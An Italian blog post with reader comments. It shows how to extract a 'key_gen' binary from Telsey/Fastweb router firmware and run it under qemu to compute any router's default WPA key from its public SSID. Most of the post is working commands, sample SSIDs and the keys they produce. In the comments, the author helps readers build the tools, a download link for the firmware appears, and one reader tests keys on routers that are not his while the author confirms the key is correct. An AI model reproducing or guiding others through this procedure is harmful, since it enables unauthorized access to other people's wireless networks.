I router Telsey/Fastweb vittime e strumenti per il crack del wireless

router Tesley/FastwebNota importante: le informazioni qui fornite servono solo a spiegare la vulnerabilità del router e come porvi rimedio. Si ricorda che qualunque azione volta all’aggiramento dei sistemi di protezione informatica costituisce reato penale nel nostro paese.

Ho iniziato ad interessarmi a questi router dopo l’interessante articolo di Righi apparso sul suo blog pillolhacking; la sua analisi per trovare l’algoritmo di generazione della chiave WPA è sicuramente affascinante e notevole perchè sviluppata a partire da un solo router; purtroppo, però, le conclusioni non sono valide nella generalità dei casi.

Partendo da quel post e dai numerosi commenti sono arrivato ad altri forum dove, in mezzo a tantissimo rumore, ho trovato qualche frammento di informazione che mi ha aiutato a capire la grave vulnerabilità di tale router.

Il router è basato sul popolare chip Broadcom BCM6358 che include un transceiver ADSL2+, una CPU VIPER MIPS32, interfacce ethernet, USB 2.0, PCMCIA e mini-PCI; il software è basato su linux, ma il rouer è “blindato”, ossia non è permesso all’utente accedervi via telnet/ssh o in altro modo.

Qualcuno però è riuscito lo stesso ad accedervi e/o a catturare il firmware del router (probabilmente intercettando un aggiornamento) che risulta essere disponibile su Internet (non sul sito ufficale Telsey, per cui probabilmente in modo non del tutto legale). Chi è riuscito ad accedere al router ha avuto la gradita sorpresa di trovare, nella directory, /bin un comando dal nome key_gen che, lanciandolo, produce il seguente risultato:

# key_gen             
usage: key_gen 
The following MAC formats are supported:
xx.xx.xx.xx.xx.xx
xx:xx:xx:xx:xx:xx
xx;xx;xx;xx;xx;xx
xxxxxxxxxxxx

Se, invece, prendiamo la SSID del router di Righi FASTWEB-1-00036F8E42BC, il corrispondente Mac address è 00036F8E42BC (gli ultimi 12 caratteri esadecimali dell’SSID), se diamo tale indirizzo in pasto al programma key_gen otteniamo:

# key_gen 00036F8E42BC
7fcee0998a

che è esattamente la chiave WPA di default. Se ripetiamo la stessa procedura per un’altra SSID pubblicata sul sito di Righi (FASTWEB-1-00219623EB84) otteniamo:

# key_gen 00219623EB84
5b887cb8f5

ed anche in questo caso è esattamente la chiave di default del router, come riportato dal proprietario su un commento sul blog di Righi.

Questa non è esattamente una vulnerabilità del router Telsey/Fastweb, ma è un programma di cracking incluso su ciascun router e che permette di crackare qualunque altro router della stessa serie conoscendo solo l’SSID che è l’informazione pubblica per eccellenza che il router diffonde continuamente!

Ogni commento sulla “sicurezza” di tali router e sulla “ingenuità” di chi li ha progettati è superfluo.

Se non si è in grado di accedere al proprio router, ma si vuole verificare lo stesso se esso è “vulnerabile” si può procedere nel modo seguente su un sistema Linux (dovrebbe essere possibile operare anche su un sistema Windows o Mac, ma io non l’ho fatto ed è sicuramente un pò più complicato):

  1. procurarsi il firmware del proprio router che sarà un file con un nome del tipo CPVA642_SIP_fk_sip_3.6.4V, oppure CPVA642_SIP_fk_sip_3.6.rar, in questo ultimo caso va decompresso
  2. tale file ha un formato particolare ed è stato creato con dei tool per i chip Broadcom, il modo più veloce per scompattarlo è quello di usare tali tool scaricando il sorgente dei bcm_tools
  3. compilare tali tools, su una macchina linux a 32bit (con architetture a 64bit ho avuto qualche problema con la decompressione del file system), in un modo simile al seguente:
    $ tar -zxvf bcm_tools-0.1.0.tar.gz 
    $ cd bcm_tools-0.1.0
    $ make
    $ su                # oppure "sudo -s" per Ubuntu e simili
    #  # installare i file di libreria per lzma
    #  cp ./bcm_lzma/lib/libbcmlzma_cmp.so  /lib
    #  cp ./bcm_lzma/lib/libbcmlzma_dcmp.so /lib
    # exit
    
  4. per estrarre le varie componenti incluse nel firmware scaricato procedere nel modo seguente, nell’ipotesi che il file CPVA642_SIP_fk_sip_3.6.4V si trovi nella stessa directory bcm_tools-0.1.0
    $  ./bcm_fw_extract -a -v CPVA642_SIP_fk_sip_3.6.4V 
    ## WARNING: RK CRC is incorrect, should be 0x2afa0e5c
    [0x00] Header version: 6
    [0x04] Vendor signature (1): 
            54 65 6c 73 65 79 20 54 6c 63 00 00 00 00 00 00 
            00 00 00 00 
    [0x18] Vendor signature (2): 
            33 2e 36 2e 34 56 2d 73 69 70 00 00 00 00 
    [0x26] Chip Id.: 
            36 33 35 38 00 00 
    [0x2c] Board Id.: CPVA642
    [0x3c] Big endian ?: 1
    [0x3e] Total img size: 0x0042a280
    [0x48] CFE address: 0x00000000
    [0x54] CFE size: 0x00000000
    [0x5e] Root FS address: 0xbfc10100
    [0x6a] Root FS size: 0x0036f000
    [0x74] Kernel address: 0xbff7f100
    [0x80] Kernel size: 0x000bb280
    [0x8a] Dual img ?: 1
    [0x8c] Inactive img ?: 0
    [0x8e] Reserved: 
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
            00 00 00 00 00 00 00 00 00 00 
            - RK checksum (0x36): 0x00000000
    [0xd8] Header checksum: 0x5a243917
    [0xec] Image checksum: 0x2afa0e5c
    Dumping Broadcom header... (offset 0x00000000, sz 0x00000100, crc 0x3530589b) done.
    No bootloader found in image. Skipping.
    Dumping root filesystem... (offset 0x00000100, sz 0x0036f000, crc 0x73387d37) done.
    Dumping kernel... (offset 0x0036f100, sz 0x000bb280, crc 0x285c26f2) done. 
    

    il warning sull’RK CRC lo possiamo ignorare

  5. il comando precedente estrae i seguenti files:
    header.bin         # header non  interessa
    vmlinux.img        # kernel linux
    rootfs.bin         # l'immagine del file system
    
  6. per estrarre i file contenuti nell’immagine del file system del router è necessario dare, meglio da root (perchè crea dei device nella sottodirectory dev) il seguente comando:
    $ su
    # ./lzma_unsquash rootfs.bin 
    Reading a different endian SQUASHFS filesystem on rootfs.bin
    # exit
    
  7. le cose interessanti si trovano sotto la directory squashfs-root, in particolare lì troviamo il file squashfs-root/bin/key_gen che però non possiamo direttamente utilizzare sul nostro sistema linux (basato su chip Intel/AMD) perchè è un file compilato per architettura MIPS come ci mostra il seguente comando:
    $ file squashfs-root/bin/key_gen 
    squashfs-root/bin/key_gen: ELF 32-bit MSB executable,
    MIPS, version 1 (SYSV), dynamically linked (uses shared libs),
    corrupted section header size
    

    possiamo ignorare il “corrupted section header size”. Adesso abbiamo il nostro bell’eseguibile per generare le chiavi WPA di default dei router Telsey/Fastweb, l’unico piccolo problema è che l’eseguibile gira solo su macchine linux con cpu MIPS e non sulla nostra macchina

  8. per fortuna che esiste un ottimo emulatore, qemu, per emulare macchine con cpu MIPS, pertanto dobbiamo installare qemu sul nostro linux, qualora non fosse già installato, con dei comandi simili ai seguenti su sistemi RedHat/CentOS; su Ubuntu i comandi sono indicati nei commenti:
    $ su -    # su Ubuntu: sudo -s
    # yum install qemu qemu-system-mips
    # #--- su Ubuntu:
    # # apt-get install qemu qemu-common qemu-kvm qemu-kvm-extras
    # exit     
    

    ossia è necessario installare i pacchetti che contengono il comando qemu ed i comandi qemu-mips e qemu-system-mips: quest’ultimi due non sono compresi nel pacchetto standard, ma si tovano in pacchetti aggiuntivi per emulare altri processori.

  9. una volta installato qemu per cpu MIPS possiamo lanciare il nostro key_gen come nell’esempio seguente:
    $ cd squashfs-root/
    $ qemu-mips -L . bin/key_gen 
    usage: bin/key_gen 
    The following MAC formats are supported:
    xx.xx.xx.xx.xx.xx
    xx:xx:xx:xx:xx:xx
    xx;xx;xx;xx;xx;xx
    xxxxxxxxxxxx
    

    è importante mettersi dentro la directory suqashfs-root, ossia nella root del file system del router, ed usare l’opzione “-L .” che dice a qemu-mips di cercare le librerie che key_gen vorrà caricare a partire da tale directory. Se vogliamo generare la chiave di default del router di Righi (SSID: FASTWEB-1-00036F8E42BC) non dobbiamo far altro che dare il seguente comando:

    $ qemu-mips -L . bin/key_gen 00036F8E42BC
    7fcee0998a
    

    e di nuovo il risultato è quello giusto.

In questo post abbiamo visto come estrarre il programma di crack delle chiavi di default dei router Telsey/Fastweb, incluso nel firmware degli stessi router, e come eseguire tale programme su un normale sistema Linux, emulando l’ambiente basato su cpu MIPS del router.

La forte raccomandazione a tutti i possessori di tali router è quella di cambiare immediatamente la password di default.
Su un successivo post descriverò come metter su un ambiente di debugging per eseguire passo passo il programma key_gen e, possibilmente, ricavare l’algoritmo di generazione delle chiavi WPA di default.

Valerio

I am passionate about technology and I am an early adopter. Currently I work as an ICT Infrastructure Manager in the automotive industry. I Joined the linux camp in 1993, early adopter of the social web: I am simply "valerio" on twitter and del.icio.us, my other email is v@ler.io and my other website is va.ler.io
Bookmark the permalink.

19 Comments

  1. Bravo!
    Il problema è dove scaricere il firmware CPVA642_SIP_fk_sip_3.6.4V
    Grazie!

    • Firmware
      Lo si puoò cercare con google; se con CPVA642_SIP_fk_sip_3.6.4V non viene trovato niente, si può provare CPVA642_SIP_fk_sip_3.6.rar o altre stringhe sempre relative al firmware Telsey/Fastweb

      • Firmware e prob. bcm_tool
        Io l’ho trovato su Mega up load al seguente indirizzo (togli gli spazi):

        http://www.mega upload.com/?d= 3WPFWV75

        Qualcuno può suggerirmi come fare per il make delle bcm_tools che mi da un sacco di errori? Qualche libreria da caricare? Dove la trovo?
        Inoltre i 2 file da copiare in /lib (libbcmlzma_cmp.so e libbcmlzma_dcmp.so) li crea il make? Perchè non sono riuscito a trovarli nè sotto bcm_lzma nè da altre parti….

        Devo dire che in Linux non sono un niubbio ma neanche un grande esperto.

        • Firmware e bcm_tool
          E’ probabile che manchi qualche libreria e include files, se mi copi/incolli l’errore che ti dà il make possiamo vedere.
          I 2 file da copiare in /lib li crea il make

          • Firmware e bcm_tool
            Grazie mille per la disponibilità!!!

            Il messaggio di errore che mi dà il make è il seguente:

            [root@localhost bcm_tools-0.1.0]# make
            cc -Wall -g -D_GNU_SOURCE -Iinclude -Ibcm_lzma/include -c -o lzma_unsquash.o lzma_unsquash.c
            cc -Wall -g -D_GNU_SOURCE -Iinclude -Ibcm_lzma/include -c -o utils.o utils.c
            make -C bcm_lzma
            make[1]: Entering directory `/home/user/bcm_tools-0.1.0/bcm_lzma’
            make -C compress
            make: Entering an unknown directory
            make: *** compress: Not a directory. Stop.
            make: Leaving an unknown directory
            make[1]: *** [compress/libbcmlzma_cmp.so] Error 2
            make[1]: Leaving directory `/home/user/bcm_tools-0.1.0/bcm_lzma’
            make: *** [bcm_lzma/lib/libbcmlzma_dcmp.so] Error 2

            Qualche idea? Ho già verificato le librerie lzma e yum mi dice che sono installate…

        • Me
          Penso gli errori che ti sopraggiungano siano questi:
          iciamo che il primo errore me lo da facendo il make dei bcm tools,riportando:
          utils.c:27:18: error: zlib.h: Nessun file o directory
          utils.c: In function ‘bcm_crc32’:
          utils.c:392: warning: implicit declaration of function ‘crc32’
          make: *** [utils.o] Errore 1

          devi installare da gestione pacchetti,zlib e crc32

          • File mancanti
            Devi installare il pacchetto che contiene i files necessari agli sviluppatori per utilizzare la libreria zlib. Su Ubuntu (almeno l’ultima versione che ho io) devi installare il pacchetto “zlib1g-dev” che, da riga di comando, si fa con:

            apt-get install zlib1g-dev
            

            Su RedHat/Fedora/CentOS è la stessa cosa ed il pacchetto si chiama zlib-devel (almeno in una vecchia RHEL 5.0 che ho io, in versioni successive si potrebbe anche chiamare “zlib1g-dev”) e si installa con

            yum install zlib-devel
            

            Il warning su “implicit declaration of function ‘crc32’” non è preoccupante, non gli manca nulla ed un warning non è un errore, ma un avvertimento al programmatore che forse sta facendo qualcosa che non intendeva fare.

    • ocean
      io l’ho trovato diversamente (ho trovato già la rootf****) e nella directori bin cè il file key_gen

    • key_gen: implementazione indipendente
      Se avete problemi ad estrarre o emulare il key_gen direttamente dal firmware, io ho realizzato un’implementazione C dell’algoritmo di generazione della WPA a partire dal MAC Address, ispirandomi ovviamente al lavoro dei White Hats Crew. Chi è interessato per motivo di studio del source può scrivermi a redazione @chiocciola@ segfault.it. Gli invierò il sorgente.

  2. Me
    Per volerlo provare subito,ho installato una vmware di ubuntu,e così appena installata,ho iniziato a fare i vari procedimenti..ma mi ritornano parecchi errori,per esempio il comando per estrarre il firmware non mi viene riconosciuto..hai qualche idea?intantno continuo a provare in diversi modi

  3. ME
    diciamo che il primo errore me lo da facendo il make dei bcm tools,riportando:
    utils.c:27:18: error: zlib.h: Nessun file o directory
    utils.c: In function ‘bcm_crc32’:
    utils.c:392: warning: implicit declaration of function ‘crc32’
    make: *** [utils.o] Errore 1

    ubuntu,..

  4. Me
    Rettifico e mi scuso per il terzo commento,ho risolto,mi mancava una libreria.

  5. TEST
    PROVATO CON DUE NON MIEI PERCHÉ HO ALICE MA NIENTE
    002196228710 F0DE4DB7A2
    002196…….. F3E5……………
    CONFERMI IL KEY?

    • Key
      La chiave calcolata e’ quella giusta.
      Se non va ci possono essere vari motivi:

      • l’utente ha cambiato chiave
      • il router ha raggiunto il numero massimo di PC che fastweb gli permette di connettere
      • il router non ha il firmware che ha la vulnerabilita’ discussa
      • Key
        Il fatto strano e che uno diceva chiave sbagliata l’altro
        Non riusciva a conetersi. Boh. Volevo testare
        Doppo la fatica a scompatare firmware e installare qemu.

  6. Giovanni Giorgi
    Ciao Valerio,
    il tuo articolo e’ veramente interessante e preoccupante!
    Non e’ che il problema sussiste anche per i router Infostrada (marca thomson)?

    • Vulnerabilità
      Dei router Infostrada non ne ho conoscenza, però se si gira un pò in rete si vede che molti costruttori di router hanno il vizio di generare la chiave di default tramite un algoritmo legato a elementi noti (come il mac address), pertanto è sempre fortemente consigliato cambiare la password di default con una difficilmente craccabile.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *